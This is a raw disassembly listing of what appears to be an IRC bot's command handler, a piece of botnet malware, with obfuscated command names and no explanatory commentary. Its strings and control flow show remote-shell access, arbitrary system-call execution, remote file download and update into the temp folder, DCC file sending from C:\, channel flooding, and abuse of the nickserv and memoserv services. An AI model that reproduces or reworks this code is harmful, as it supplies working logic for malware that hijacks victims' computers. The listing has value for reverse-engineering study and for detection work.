; "VI0QA1mvfro1" call sub_422760 pop ecx test eax, eax pop ecx jnz loc_406E68 cmp [esi+8], eax jz loc_406E68 call dword_42F164 ; GetTickCount push eax call sub_4220EF pop ecx call sub_4220FC push 1Ah cdq pop ecx idiv ecx add dl, 41h mov byte ptr [ebp+arg_C+3], dl call dword_42F164 ; GetTickCount push eax call sub_4220EF pop ecx call sub_4220FC push 0Fh cdq pop ecx idiv ecx push edx call sub_4220FC push 0Fh cdq pop ecx idiv ecx push edx call sub_4220FC push 0Fh cdq pop ecx idiv ecx push edx call sub_4220FC push 0Fh cdq pop ecx idiv ecx movsx eax, byte ptr [ebp+arg_C+3] push edx push eax call sub_4220FC push 0Fh cdq pop ecx idiv ecx push edx call sub_4220FC push 0Fh cdq pop ecx idiv ecx push edx call sub_4220FC push 0Fh cdq pop ecx idiv ecx push edx call sub_4220FC push 0Fh cdq pop ecx idiv ecx push edx call sub_4220FC push 0Fh cdq pop ecx idiv ecx push edx call sub_4220FC push 0Fh cdq pop ecx idiv ecx push edx call sub_4220FC push 0Fh cdq pop ecx idiv ecx push edx call sub_4220FC push 0Fh cdq pop ecx idiv ecx push edx call sub_4220FC push 0Fh cdq pop ecx idiv ecx push edx call sub_4220FC push 0Fh cdq pop ecx idiv ecx push edx call sub_4220FC push 0Fh cdq pop ecx idiv ecx push edx call sub_4220FC push 0Fh cdq pop ecx idiv ecx push edx call sub_4220FC push 0Fh cdq pop ecx idiv ecx push edx call sub_4220FC push 0Fh cdq pop ecx idiv ecx push edx call sub_4220FC push 0Fh cdq pop ecx idiv ecx push edx call sub_4220FC push 0Fh cdq pop ecx idiv ecx push edx call sub_4220FC push 0Fh cdq pop ecx idiv ecx push edx call sub_4220FC push 0Fh cdq pop ecx idiv ecx push edx call sub_4220FC push 0Fh cdq pop ecx idiv ecx push edx call sub_4220FC push 0Fh cdq pop ecx idiv ecx push edx call sub_4220FC push 0Fh cdq pop ecx idiv ecx push edx call sub_4220FC push 0Fh cdq pop ecx idiv ecx push edx call sub_4220FC push 0Fh cdq pop ecx idiv ecx push edx call sub_4220FC push 0Fh cdq pop ecx idiv ecx push edx call sub_4220FC push 0Fh cdq pop ecx idiv ecx push edx call sub_4220FC push 0Fh cdq pop ecx idiv ecx push edx call sub_4220FC push 0Fh cdq pop ecx idiv ecx push edx call sub_4220FC push 0Fh cdq pop ecx idiv ecx push edx call sub_4220FC push 0Fh cdq pop ecx idiv ecx push edx call sub_4220FC push 0Fh cdq pop ecx idiv ecx push edx call sub_4220FC push 0Fh cdq pop ecx idiv ecx push edx call sub_4220FC push 0Fh cdq pop ecx idiv ecx push edx call sub_4220FC push 0Fh cdq pop ecx idiv ecx push edx call sub_4220FC push 0Fh cdq pop ecx idiv ecx push edx call sub_4220FC push 0Fh cdq pop ecx idiv ecx push edx call sub_4220FC push 0Fh cdq pop ecx idiv ecx push edx call sub_4220FC push 0Fh cdq pop ecx idiv ecx push edx call sub_4220FC push 0Fh cdq pop ecx idiv ecx push edx call sub_4220FC push 0Fh cdq pop ecx idiv ecx push edx call sub_4220FC push 0Fh cdq pop ecx idiv ecx lea eax, [ebp+var_ECAC] push edx push offset dword_435500 push eax call sub_422063 push 7D0h push 400h call sub_41409E add esp, 0C4h push eax lea eax, [ebp+var_1ACAC] push dword ptr [esi+8] push offset dword_43C078 push offset dword_4354C4 push eax call sub_422063 push 7D0h push 400h call sub_41409E add esp, 1Ch push eax call sub_4220FC cdq mov ecx, 5F5E0FFh idiv ecx lea eax, [ebp+var_BCAC] push edx push dword ptr [esi+8] push offset dword_43C078 push offset dword_435478 push eax call sub_422063 push 7D0h push 400h call sub_41409E add esp, 20h push eax call sub_4220FC cdq mov ecx, 5F5E0FFh idiv ecx push edx push dword ptr [esi+8] push offset dword_43C078 lea eax, [ebp+var_DCAC] push offset dword_43544C push eax call sub_422063 push 7D0h push 400h call sub_41409E push eax lea eax, [ebp+var_ECAC] push eax lea eax, [ebp+var_FCAC] push dword ptr [esi+8] push offset dword_43C078 push offset dword_435428 push eax call sub_422063 add esp, 38h call sub_40323F push eax lea eax, [ebp+var_ECAC] push eax call sub_40323F push eax lea eax, [ebp+var_11CAC] push dword ptr [esi+8] push offset dword_43C080 push offset dword_435410 push eax call sub_422063 lea eax, [ebp+var_ECAC] push eax lea eax, [ebp+var_13CAC] push dword ptr [esi+8] push offset dword_43C078 push offset aSSDccSendCS ; "%s %s :DCC SEND C:\\\\\\\\%s" push eax call sub_422063 lea eax, [ebp+var_1ACAC] push eax call sub_4032AA lea eax, [ebp+var_BCAC] push eax call sub_4032AA lea eax, [ebp+var_DCAC] push eax call sub_4032AA lea eax, [ebp+var_FCAC] push eax call sub_4032AA add esp, 40h lea eax, [ebp+var_11CAC] push eax call sub_4032AA lea eax, [ebp+var_13CAC] push eax call sub_4032AA pop ecx pop ecx loc_406E68: ; CODE XREF: sub_403B2C+2F6Dj ; sub_403B2C+2F76j push dword ptr [esi+4] push offset aJdzdp05e7aw_ ; "jdZDp05E7aW." call sub_422760 pop ecx test eax, eax pop ecx jnz short loc_406ECB cmp [esi+8], eax jz short loc_406ECB call dword_42F164 ; GetTickCount push eax call sub_4220EF mov [esp+10h+var_10], 7D0h push 400h call sub_41409E push eax push offset aAAAAAAAAAAAAAA ; "a a a a a a a a a a a a a a a a a a a a"... push dword ptr [esi+8] lea eax, [ebp+var_15CAC] push offset dword_43C078 push offset dword_4352C0 push eax call sub_422063 lea eax, [ebp+var_15CAC] push eax call sub_4032AA add esp, 24h loc_406ECB: ; CODE XREF: sub_403B2C+334Dj ; sub_403B2C+3352j push dword ptr [esi+4] push offset aW3gp6_13acy1 ; "W3GP6.13AcY1" call sub_422760 pop ecx test eax, eax pop ecx jnz loc_406FE0 mov eax, [esi+8] test eax, eax jz loc_406FE0 push eax push offset aTf ; "'TF" lea eax, [ebp+var_3150] push offset aSS_0 ; "%s %s" push eax call sub_422063 lea eax, [ebp+var_3150] push eax call sub_4032AA lea eax, [ebp+var_270] push eax call sub_403625 lea eax, [ebp+var_270] push eax push offset dword_43C088 lea eax, [ebp+var_3150] push offset aSS_0 ; "%s %s" push eax call sub_422063 lea eax, [ebp+var_3150] push eax call sub_4032AA add esp, 2Ch call sub_4220FC cdq mov ecx, 514h idiv ecx push edx call dword_42F15C ; Sleep lea eax, [ebp+var_270] push eax call sub_403625 lea eax, [ebp+var_270] push eax push offset dword_43C088 lea eax, [ebp+var_3150] push offset aSS_0 ; "%s %s" push eax call sub_422063 lea eax, [ebp+var_3150] push eax call sub_4032AA add esp, 18h call sub_4220FC cdq mov ecx, 1F4h idiv ecx push edx call dword_42F15C ; Sleep lea eax, [ebp+var_270] push eax call sub_403625 lea eax, [ebp+var_270] push eax push offset dword_43C088 lea eax, [ebp+var_3150] push offset aSS_0 ; "%s %s" push eax call sub_422063 lea eax, [ebp+var_3150] push eax call sub_4032AA add esp, 18h loc_406FE0: ; CODE XREF: sub_403B2C+33B0j ; sub_403B2C+33BBj push dword ptr [esi+4] push offset aZat3j_lm3ge1 ; "zAT3J.lm3Ge1" call sub_422760 pop ecx test eax, eax pop ecx jnz short loc_40702B lea eax, [ebp+var_1710] push eax call sub_403625 lea eax, [ebp+var_1710] push eax push offset dword_43C088 lea eax, [ebp+var_3150] push offset aSS_0 ; "%s %s" push eax call sub_422063 lea eax, [ebp+var_3150] push eax call sub_4032AA add esp, 18h loc_40702B: ; CODE XREF: sub_403B2C+34C5j push dword ptr [esi+4] push offset aLjAmKzrtp1 ; "lJ/am/kZRtP1" call sub_422760 pop ecx test eax, eax pop ecx jnz loc_40711F mov eax, [esi+8] test eax, eax jz loc_40711F push eax push offset aTf ; "'TF" lea eax, [ebp+var_3150] push offset aSS_0 ; "%s %s" push eax call sub_422063 lea eax, [ebp+var_3150] push eax call sub_4032AA push offset aYwxiw_hzl400fd ; "yWXIw.hZL400FdRGg.gJVXr0Ildyc1dw01k1ijd"... lea eax, [ebp+var_3150] loc_40707B: ; DATA XREF: .text:00438E1Co ; .text:00438E30o ... push dword ptr [esi+8] push offset dword_43C078 push offset dword_4356C8 push eax call sub_422063 lea eax, [ebp+var_3150] push eax call sub_4032AA add esp, 2Ch call sub_4220FC cdq mov ecx, 3E8h idiv ecx push edx call dword_42F15C ; Sleep push offset aYwxiw_hzl400fd ; "yWXIw.hZL400FdRGg.gJVXr0Ildyc1dw01k1ijd"... lea eax, [ebp+var_3150] push dword ptr [esi+8] push offset dword_43C078 push offset dword_4356C8 push eax call sub_422063 lea eax, [ebp+var_3150] push eax call sub_4032AA add esp, 18h call sub_4220FC cdq mov ecx, 384h idiv ecx push edx call dword_42F15C ; Sleep push offset aYwxiw_hzl400fd ; "yWXIw.hZL400FdRGg.gJVXr0Ildyc1dw01k1ijd"... lea eax, [ebp+var_3150] push dword ptr [esi+8] push offset dword_43C078 push offset dword_4356C8 push eax call sub_422063 lea eax, [ebp+var_3150] push eax call sub_4032AA add esp, 18h loc_40711F: ; CODE XREF: sub_403B2C+3510j ; sub_403B2C+351Bj push dword ptr [esi+4] push offset aXzaru0amxhi_ ; "XZArU0aMxhi." call sub_422760 pop ecx test eax, eax pop ecx jnz loc_407213 mov eax, [esi+8] test eax, eax jz loc_407213 push eax push offset aTf ; "'TF" lea eax, [ebp+var_3150] push offset aSS_0 ; "%s %s" push eax call sub_422063 lea eax, [ebp+var_3150] push eax call sub_4032AA push offset aYwxiw_hzl400fd ; "yWXIw.hZL400FdRGg.gJVXr0Ildyc1dw01k1ijd"... lea eax, [ebp+var_3150] push dword ptr [esi+8] push offset dword_43C080 push offset dword_4356C8 push eax call sub_422063 lea eax, [ebp+var_3150] push eax call sub_4032AA add esp, 2Ch call sub_4220FC cdq mov ecx, 3E8h idiv ecx push edx call dword_42F15C ; Sleep push offset aYwxiw_hzl400fd ; "yWXIw.hZL400FdRGg.gJVXr0Ildyc1dw01k1ijd"... lea eax, [ebp+var_3150] push dword ptr [esi+8] push offset dword_43C080 push offset dword_4356C8 push eax call sub_422063 lea eax, [ebp+var_3150] push eax call sub_4032AA add esp, 18h call sub_4220FC cdq mov ecx, 384h idiv ecx push edx call dword_42F15C ; Sleep push offset aYwxiw_hzl400fd ; "yWXIw.hZL400FdRGg.gJVXr0Ildyc1dw01k1ijd"... lea eax, [ebp+var_3150] push dword ptr [esi+8] push offset dword_43C080 push offset dword_4356C8 push eax call sub_422063 lea eax, [ebp+var_3150] push eax call sub_4032AA add esp, 18h loc_407213: ; CODE XREF: sub_403B2C+3604j ; sub_403B2C+360Fj push dword ptr [esi+4] push offset aRa7e2Hhxpf0 ; "rA7E2/hHXPf0" call sub_422760 pop ecx test eax, eax pop ecx jnz loc_407334 mov eax, [esi+8] test eax, eax jz loc_407334 push eax push offset aTf ; "'TF" lea eax, [ebp+var_3150] push offset aSS_0 ; "%s %s" push eax call sub_422063 lea eax, [ebp+var_3150] push eax call sub_4032AA push dword ptr [esi+8] lea eax, [ebp+var_3150] push offset dword_43C078 push offset dword_4355F0 push eax call sub_422063 lea eax, [ebp+var_3150] push eax call sub_4032AA add esp, 28h call sub_4220FC cdq mov ecx, 514h idiv ecx push edx call dword_42F15C ; Sleep push dword ptr [esi+8] lea eax, [ebp+var_3150] push offset dword_43C078 push offset dword_4355DC push eax call sub_422063 lea eax, [ebp+var_3150] push eax call sub_4032AA add esp, 14h call sub_4220FC cdq mov ecx, 514h idiv ecx push edx call dword_42F15C ; Sleep push dword ptr [esi+8] lea eax, [ebp+var_3150] push offset dword_43C078 push offset dword_4355CC push eax call sub_422063 lea eax, [ebp+var_3150] push eax call sub_4032AA add esp, 14h call sub_4220FC cdq mov ecx, 514h idiv ecx push edx call dword_42F15C ; Sleep push dword ptr [esi+8] lea eax, [ebp+var_3150] push offset dword_43C078 push offset dword_4355CC push eax call sub_422063 lea eax, [ebp+var_3150] push eax call sub_4032AA add esp, 14h loc_407334: ; CODE XREF: sub_403B2C+36F8j ; sub_403B2C+3703j push dword ptr [esi+4] push offset aRp4sr11cvr1 ; "Rp4sR11CvR1/" call sub_422760 pop ecx test eax, eax pop ecx jnz loc_407464 mov eax, [esi+8] test eax, eax jz loc_407464 push eax push offset aTf ; "'TF" lea eax, [ebp+var_3150] push offset aSS_0 ; "%s %s" push eax call sub_422063 lea eax, [ebp+var_3150] push eax call sub_4032AA push dword ptr [esi+8] lea eax, [ebp+var_3150] push offset dword_43C078 push offset dword_4355F0 push eax call sub_422063 lea eax, [ebp+var_3150] push eax call sub_4032AA add esp, 28h call sub_4220FC cdq mov ecx, 514h idiv ecx push edx call dword_42F15C ; Sleep push offset aYwxiw_hzl400fd ; "yWXIw.hZL400FdRGg.gJVXr0Ildyc1dw01k1ijd"... lea eax, [ebp+var_3150] push dword ptr [esi+8] push offset dword_43C080 push offset dword_4356C8 push eax call sub_422063 lea eax, [ebp+var_3150] push eax call sub_4032AA add esp, 18h call sub_4220FC cdq mov ecx, 514h idiv ecx push edx call dword_42F15C ; Sleep push offset aYwxiw_hzl400fd ; "yWXIw.hZL400FdRGg.gJVXr0Ildyc1dw01k1ijd"... lea eax, [ebp+var_3150] push dword ptr [esi+8] push offset dword_43C078 push offset dword_4356C8 push eax call sub_422063 lea eax, [ebp+var_3150] push eax call sub_4032AA add esp, 18h call sub_4220FC cdq mov ecx, 514h idiv ecx push edx call dword_42F15C ; Sleep push offset aYwxiw_hzl400fd ; "yWXIw.hZL400FdRGg.gJVXr0Ildyc1dw01k1ijd"... lea eax, [ebp+var_3150] push dword ptr [esi+8] push offset dword_43C080 push offset dword_4356C8 push eax call sub_422063 lea eax, [ebp+var_3150] push eax call sub_4032AA add esp, 18h loc_407464: ; CODE XREF: sub_403B2C+3819j ; sub_403B2C+3824j push dword ptr [esi+4] push offset aZqrvt0t6nmz_ ; "ZqrVt0t6nmZ." call sub_422760 pop ecx test eax, eax pop ecx jnz loc_407517 mov eax, [esi+0Ch] test eax, eax jz loc_407517 push eax lea eax, [ebp+var_40DC] push offset aS_1 ; "%s" push eax call sub_422063 add esp, 0Ch push 4 pop eax cmp [ebp+arg_4], eax mov [ebp+arg_C], eax jle short loc_4074E8 loc_4074A6: ; CODE XREF: sub_403B2C+39BAj mov eax, [ebp+arg_C] mov eax, [esi+eax*4] test eax, eax jz short loc_4074DD push eax lea eax, [ebp+var_6CAC] push offset aS_0 ; " %s" push eax call sub_422063 lea eax, [ebp+var_6CAC] push 100h push eax lea eax, [ebp+var_40DC] push eax call sub_421F40 add esp, 18h loc_4074DD: ; CODE XREF: sub_403B2C+3982j inc [ebp+arg_C] mov eax, [ebp+arg_C] cmp eax, [ebp+arg_4] jl short loc_4074A6 loc_4074E8: ; CODE XREF: sub_403B2C+3978j lea eax, [ebp+var_40DC] push eax lea eax, [ebp+var_3150] push dword ptr [esi+8] push offset dword_43C078 push offset aSMemoservSendS ; "%s memoserv :send %s %s" push eax call sub_422063 lea eax, [ebp+var_3150] push eax call sub_4032AA add esp, 18h loc_407517: ; CODE XREF: sub_403B2C+3949j ; sub_403B2C+3954j push dword ptr [esi+4] push offset a1shta0bzfwk1 ; "1ShtA0bzFwk1" call sub_422760 pop ecx test eax, eax pop ecx jnz short loc_407580 call dword_42F164 ; GetTickCount push eax call sub_4220EF pop ecx call sub_4010E7 push eax call sub_4010E7 push eax lea eax, [ebp+var_17CAC] push offset aS@S_com ; "%s@%s.com" push eax call sub_422063 lea eax, [ebp+var_17CAC] push eax push offset dword_43C078 lea eax, [ebp+var_3150] push offset aSNickservRegis ; "%s nickserv :register pass103 %s" push eax call sub_422063 lea eax, [ebp+var_3150] push eax call sub_4032AA add esp, 24h loc_407580: ; CODE XREF: sub_403B2C+39FCj push dword ptr [esi+4] push offset aAzcsp_hkilo_ ; "AZcsP.hkiLO." call sub_422760 pop ecx test eax, eax pop ecx jnz short loc_4075B8 push offset dword_43C078 lea eax, [ebp+var_3150] push offset aSNickservDrop ; "%s nickserv drop" push eax call sub_422063 lea eax, [ebp+var_3150] push eax call sub_4032AA add esp, 10h loc_4075B8: ; CODE XREF: sub_403B2C+3A65j push dword ptr [esi+4] push offset aErwc30qfw_p0 ; "eRWc30Qfw.P0" call ebx ; dword_42F070 test eax, eax jnz loc_40AF54 call sub_403A30 xor ebx, ebx mov esi, offset aSUnloaded_ ; "%s Unloaded." cmp [ebp+arg_14], ebx jnz short loc_4075F8 cmp [ebp+arg_18], ebx jnz loc_40680B push offset aZrbax_zpsbs_ty ; "ZRbAx.zPSBs.TY84s/myQpz0" push esi push dword ptr [edi+0Ch] push [ebp+arg_10] call sub_4104F6 add esp, 10h loc_4075F8: ; CODE XREF: sub_403B2C+3AADj cmp [ebp+arg_18], ebx jmp loc_406805 ; --------------------------------------------------------------------------- loc_407600: ; CODE XREF: sub_403B2C+23ABj push dword ptr [esi] push offset aFepmfZswfd ; "FEpMF/ZswFD/" call ebx ; dword_42F070 test eax, eax jnz loc_4076BB cmp [esi+4], eax jnz short loc_407620 mov ebx, offset aH08_Drzwx_ ; "h/08./drzWX." jmp loc_409FCE ; --------------------------------------------------------------------------- loc_407620: ; CODE XREF: sub_403B2C+3AE8j push 20h push [ebp+arg_8] call sub_4233B0 mov esi, eax xor ebx, ebx pop ecx cmp esi, ebx pop ecx jz loc_40AF54 cmp [ebp+arg_30], ebx jz short loc_40766E mov al, [ebp+arg_34] mov byte ptr [ebp+arg_C+3], 5Fh test al, al jz short loc_40764B mov byte ptr [ebp+arg_C+3], al loc_40764B: ; CODE XREF: sub_403B2C+3B1Aj push esi call sub_422120 test eax, eax pop ecx jbe short loc_40766E loc_407656: ; CODE XREF: sub_403B2C+3B40j mov al, byte ptr [ebp+arg_C+3] cmp [ebx+esi], al jnz short loc_407662 mov byte ptr [ebx+esi], 20h loc_407662: ; CODE XREF: sub_403B2C+3B30j push esi inc ebx call sub_422120 cmp ebx, eax pop ecx jb short loc_407656 loc_40766E: ; CODE XREF: sub_403B2C+3B0Fj ; sub_403B2C+3B28j inc esi push esi call sub_423517 test eax, eax pop ecx jz short loc_407696 cmp [ebp+arg_18], 0 push offset aH08_Drzwx_ ; "h/08./drzWX." push offset aSSystemcallFai ; "%s SystemCall failed." jnz loc_40ADA1 loc_40768E: ; CODE XREF: sub_403B2C+966j push dword ptr [edi+0Ch] jmp loc_404007 ; --------------------------------------------------------------------------- loc_407696: ; CODE XREF: sub_403B2C+3B4Cj cmp [ebp+arg_18], 0 push esi push offset aH08_Drzwx_ ; "h/08./drzWX." push offset aSSystemcallSen ; "%s SystemCall sent: \"%s\"" jnz loc_40A5C3 push dword ptr [edi+0Ch] push [ebp+arg_10] call sub_4104F6 jmp loc_40A5CD ; --------------------------------------------------------------------------- loc_4076BB: ; CODE XREF: sub_403B2C+3ADFj push dword ptr [esi] push offset aSud8hRsu8j1 ; "sUd8h/rsu8j1" call sub_422760 pop ecx test eax, eax pop ecx jnz loc_4077D1 mov eax, [ebp+arg_14] mov ecx, [ebp+arg_18] mov [ebp+var_1D6C], eax mov eax, [ebp+arg_10] mov [ebp+var_1D70], ecx mov [ebp+var_1E7C], eax mov eax, [eax] mov [ebp+var_1E78], eax lea eax, [ebp+var_1DF4] test ecx, ecx jnz short loc_407703 push dword ptr [edi+0Ch] jmp short loc_407705 ; --------------------------------------------------------------------------- loc_407703: ; CODE XREF: sub_403B2C+3BD0j push dword ptr [edi] loc_407705: ; CODE XREF: sub_403B2C+3BD5j push eax call dword_42F04C ; lstrcpyA push 0Ah call sub_41C235 test eax, eax pop ecx jle short loc_40774B mov esi, offset aSRemoteShellRu ; "%s Remote shell running." loc_40771D: ; CODE XREF: sub_403B2C+3CC7j mov ebx, offset aCkdai0gd9lr_ ; "ckdai0Gd9lr." loc_407722: ; CODE XREF: sub_403B2C+698j ; sub_403B2C+975j ... cmp [ebp+arg_14], 0 jnz short loc_407742 cmp [ebp+arg_18], 0 loc_40772C: ; CODE XREF: sub_403B2C+64B3j ; sub_403B2C+723Fj jnz loc_40AD9F loc_407732: ; CODE XREF: sub_403B2C+291j ; sub_403B2C+418Cj ... push ebx push esi push dword ptr [edi+0Ch] push [ebp+arg_10] call sub_4104F6 add esp, 10h loc_407742: ; CODE XREF: sub_403B2C+279j ; sub_403B2C+3BFAj ... cmp [ebp+arg_18], 0 jmp loc_40AD99 ; --------------------------------------------------------------------------- loc_40774B: ; CODE XREF: sub_403B2C+3BEAj push [ebp+var_1E7C] lea eax, [ebp+var_1DF4] push eax call sub_414508 pop ecx cmp eax, 0FFFFFFFFh pop ecx mov ebx, offset aCkdai0gd9lr_ ; "ckdai0Gd9lr." mov esi, offset aSCouldnTOpenSh ; "%s Couldn't open shell." jnz short loc_40778A cmp [ebp+arg_14], 0 jnz short loc_40778A cmp [ebp+arg_18], 0 jnz short loc_407790 push ebx push esi push dword ptr [edi+0Ch] push [ebp+arg_10] call sub_4104F6 add esp, 10h loc_40778A: ; CODE XREF: sub_403B2C+3C40j ; sub_403B2C+3C46j cmp [ebp+arg_18], 0 jz short loc_40779E loc_407790: ; CODE XREF: sub_403B2C+3C4Cj push ebx push esi push dword ptr [edi] push [ebp+arg_10] call sub_410491 jmp short loc_4077B9 ; --------------------------------------------------------------------------- loc_40779E: ; CODE XREF: sub_403B2C+3C62j cmp [ebp+arg_14], 0 jnz loc_40AF54 push ebx push offset aSShellReady_ ; "%s Shell ready." push dword ptr [edi+0Ch] push [ebp+arg_10] call sub_4104F6 loc_4077B9: ; CODE XREF: sub_403B2C+3C70j add esp, 10h cmp [ebp+arg_18], 0 jz loc_40AF54 push ebx push offset aSShellReady_ ; "%s Shell ready." jmp loc_40ADA1 ; --------------------------------------------------------------------------- loc_4077D1: ; CODE XREF: sub_403B2C+3B9Fj push dword ptr [esi] push offset aJ2yyw_j09xc ; "j2yYw.J09XC/" call sub_422760 pop ecx test eax, eax pop ecx jnz loc_4078BF mov eax, [esi+4] test eax, eax jnz short loc_4077F8 mov esi, offset aSMissingParamS ; "%s Missing param(s)" jmp loc_40771D ; --------------------------------------------------------------------------- loc_4077F8: ; CODE XREF: sub_403B2C+3CC0j push eax lea eax, [ebp+var_3254] push offset aS_1 ; "%s" push eax call sub_422063 add esp, 0Ch push 2 pop ebx cmp [ebp+arg_4], ebx jle short loc_40784F loc_407815: ; CODE XREF: sub_403B2C+3D21j mov eax, [esi+ebx*4] test eax, eax jz short loc_407849 push eax lea eax, [ebp+var_19CAC] push offset aS_0 ; " %s" push eax call sub_422063 lea eax, [ebp+var_19CAC] push 104h push eax lea eax, [ebp+var_3254] push eax call sub_421F40 add esp, 18h loc_407849: ; CODE XREF: sub_403B2C+3CEEj inc ebx cmp ebx, [ebp+arg_4] jl short loc_407815 loc_40784F: ; CODE XREF: sub_403B2C+3CE7j lea eax, [ebp+var_3254] push offset asc_433F80 ; "\n" push eax call sub_423270 lea eax, [ebp+var_3254] push eax call sub_414311 add esp, 0Ch mov ebx, offset aCkdai0gd9lr_ ; "ckdai0Gd9lr." test eax, eax jnz short loc_407882 mov esi, offset aSErrorSendingT ; "%s Error sending to shell." jmp loc_407722 ; --------------------------------------------------------------------------- loc_407882: ; CODE XREF: sub_403B2C+3D4Aj cmp [ebp+arg_14], 0 mov esi, offset aSCommandsS_ ; "%s Commands: %s." jnz short loc_4078AA cmp [ebp+arg_18], 0 jnz short loc_4078B4 lea eax, [ebp+var_3254] push eax push ebx push esi push dword ptr [edi+0Ch] push [ebp+arg_10] call sub_4104F6 add esp, 14h loc_4078AA: ; CODE XREF: sub_403B2C+3D5Fj cmp [ebp+arg_18], 0 jz loc_40AF54 loc_4078B4: ; CODE XREF: sub_403B2C+3D65j lea eax, [ebp+var_3254] jmp loc_4041AF ; --------------------------------------------------------------------------- loc_4078BF: ; CODE XREF: sub_403B2C+3CB5j push dword ptr [esi] push offset a43ucs0rkqux_ ; "43uCS0rkQUx." call ebx ; dword_42F070 test eax, eax jnz short loc_4078D8 push offset off_435C10 push 0Ah jmp loc_409B7C ; --------------------------------------------------------------------------- loc_4078D8: ; CODE XREF: sub_403B2C+3D9Ej push dword ptr [esi] push offset aUfbss0cbo8c_ ; "uFbSS0Cbo8C." call ebx ; dword_42F070 test eax, eax jnz loc_407A7F cmp [esi+4], eax jz loc_407A70 cmp [esi+8], eax jz loc_407A70 push 0Ch call sub_41C254 test eax, eax pop ecx mov [ebp+arg_C], eax jle short loc_407948 cmp [ebp+arg_14], 0 mov esi, offset aSSAlreadyRunni ; "%s %s Already running at thread number:"... mov ebx, offset aOpc9a1uprd41iw ; "OPC9A1upRd41IwhIm0ocHBf0" jnz short loc_407936 cmp [ebp+arg_18], 0 jnz short loc_407940 push eax push offset aDownload ; "Download" push ebx push esi push dword ptr [edi+0Ch] push [ebp+arg_10] call sub_4104F6 add esp, 18h loc_407936: ; CODE XREF: sub_403B2C+3DECj cmp [ebp+arg_18], 0 jz loc_40AF54 loc_407940: ; CODE XREF: sub_403B2C+3DF2j push [ebp+arg_C] jmp loc_407A4B ; --------------------------------------------------------------------------- loc_407948: ; CODE XREF: sub_403B2C+3DDCj mov eax, [ebp+arg_10] mov ecx, [ebp+arg_20] mov [ebp+var_2150], eax mov eax, [ebp+arg_14] mov [ebp+var_209C], eax mov eax, [ebp+arg_18] mov [ebp+var_2098], eax mov [ebp+var_20A0], ecx test eax, eax lea eax, [ebp+var_214C] jnz short loc_40797B push dword ptr [edi+0Ch] jmp short loc_40797D ; --------------------------------------------------------------------------- loc_40797B: ; CODE XREF: sub_403B2C+3E48j push dword ptr [edi] loc_40797D: ; CODE XREF: sub_403B2C+3E4Dj push eax call dword_42F04C ; lstrcpyA mov eax, [esi+4] xor ecx, ecx mov [ebp+var_20C8], eax mov eax, [esi+8] mov [ebp+var_20C4], eax xor eax, eax mov [ebp+var_20BC], eax cmp [esi+0Ch], eax mov ebx, offset aOpc9a1uprd41iw ; "OPC9A1upRd41IwhIm0ocHBf0" setnz cl mov [ebp+var_20B8], ecx xor ecx, ecx cmp [esi+10h], eax setnz cl mov [ebp+var_20B4], ecx push dword ptr [esi+8] mov eax, [esi+4] push eax push ebx push offset aSDownloadingTo ; "%s Downloading to: %s." push 0Ch call sub_41BED7 add esp, 14h mov [ebp+var_20CC], eax lea eax, [ebp+arg_6C] xor esi, esi push eax lea eax, [ebp+var_2150] push esi push eax push offset sub_40CDE2 push esi push esi call dword_42F158 ; CreateThread mov ecx, [ebp+var_20CC] imul ecx, 1018h cmp eax, esi mov dword_46D414[ecx], eax jnz short loc_407A5D cmp [ebp+arg_14], 0 mov esi, offset aSFailedToStart ; "%s Failed to start [%s], error: [%d]" jnz short loc_407A3A cmp [ebp+arg_18], 0 jnz short loc_407A44 call dword_42F068 ; RtlGetLastWin32Error push eax push offset aDownload ; "Download" push ebx push esi push dword ptr [edi+0Ch] push [ebp+arg_10] call sub_4104F6 add esp, 18h loc_407A3A: ; CODE XREF: sub_403B2C+3EEAj cmp [ebp+arg_18], 0 jz loc_40AF54 loc_407A44: ; CODE XREF: sub_403B2C+3EF0j call dword_42F068 ; RtlGetLastWin32Error push eax loc_407A4B: ; CODE XREF: sub_403B2C+3E17j push offset aDownload ; "Download" jmp loc_40AF45 ; --------------------------------------------------------------------------- loc_407A55: ; CODE XREF: sub_403B2C+3F38j push 32h call dword_42F15C ; Sleep loc_407A5D: ; CODE XREF: sub_403B2C+3EDFj cmp [ebp+var_2094], 0 jz short loc_407A55 mov esi, offset aSDownload ; "%s Download" jmp loc_407C9B ; --------------------------------------------------------------------------- loc_407A70: ; CODE XREF: sub_403B2C+3DC0j ; sub_403B2C+3DC9j mov esi, offset aSMissingParamS ; "%s Missing param(s)" mov ebx, offset aOpc9a1uprd41iw ; "OPC9A1upRd41IwhIm0ocHBf0" jmp loc_407722 ; --------------------------------------------------------------------------- loc_407A7F: ; CODE XREF: sub_403B2C+3DB7j push dword ptr [esi] push offset aNoazx1alvg0 ; "NoaZx1Alvg/0" call ebx ; dword_42F070 test eax, eax jnz loc_407CBD xor ecx, ecx cmp [esi+4], ecx jnz short loc_407AA6 mov esi, offset aSMissingParamS ; "%s Missing param(s)" mov ebx, offset aSmo3c0mcu8j_xf ; "SmO3C0MCu8j.xfK1r.VuQwI." jmp loc_40AD5F ; --------------------------------------------------------------------------- loc_407AA6: ; CODE XREF: sub_403B2C+3F69j mov eax, [esi+8] cmp eax, ecx jz short loc_407ABD push eax push (offset loc_439027+1) call ebx ; dword_42F070 test eax, eax jz loc_40AF54 loc_407ABD: ; CODE XREF: sub_403B2C+3F7Fj push 0Ch call sub_41C254 test eax, eax pop ecx mov [ebp+arg_C], eax jle short loc_407B0A cmp [ebp+arg_14], 0 mov esi, offset aSSAlreadyRunni ; "%s %s Already running at thread number:"... mov ebx, offset aSmo3c0mcu8j_xf ; "SmO3C0MCu8j.xfK1r.VuQwI." jnz short loc_407AF8 cmp [ebp+arg_18], 0 jnz short loc_407B02 push eax push offset aUpdate ; "Update" push ebx push esi push dword ptr [edi+0Ch] push [ebp+arg_10] call sub_4104F6 add esp, 18h loc_407AF8: ; CODE XREF: sub_403B2C+3FAEj cmp [ebp+arg_18], 0 jz loc_40AF54 loc_407B02: ; CODE XREF: sub_403B2C+3FB4j push [ebp+arg_C] jmp loc_407C7B ; --------------------------------------------------------------------------- loc_407B0A: ; CODE XREF: sub_403B2C+3F9Ej lea eax, [ebp+var_47EC] push eax push 104h call dword_42F050 ; GetTempPathA call sub_4220FC push 9 pop ebx cdq mov ecx, ebx idiv ecx push edx call sub_4220FC cdq mov ecx, ebx idiv ecx push edx call sub_4220FC cdq mov ecx, ebx idiv ecx push edx call sub_4220FC cdq mov ecx, ebx idiv ecx push edx call sub_4220FC cdq idiv ebx lea eax, [ebp+var_47EC] push edx push eax lea eax, [ebp+var_3EDC] push offset aSmsoftDDDDD_ex ; 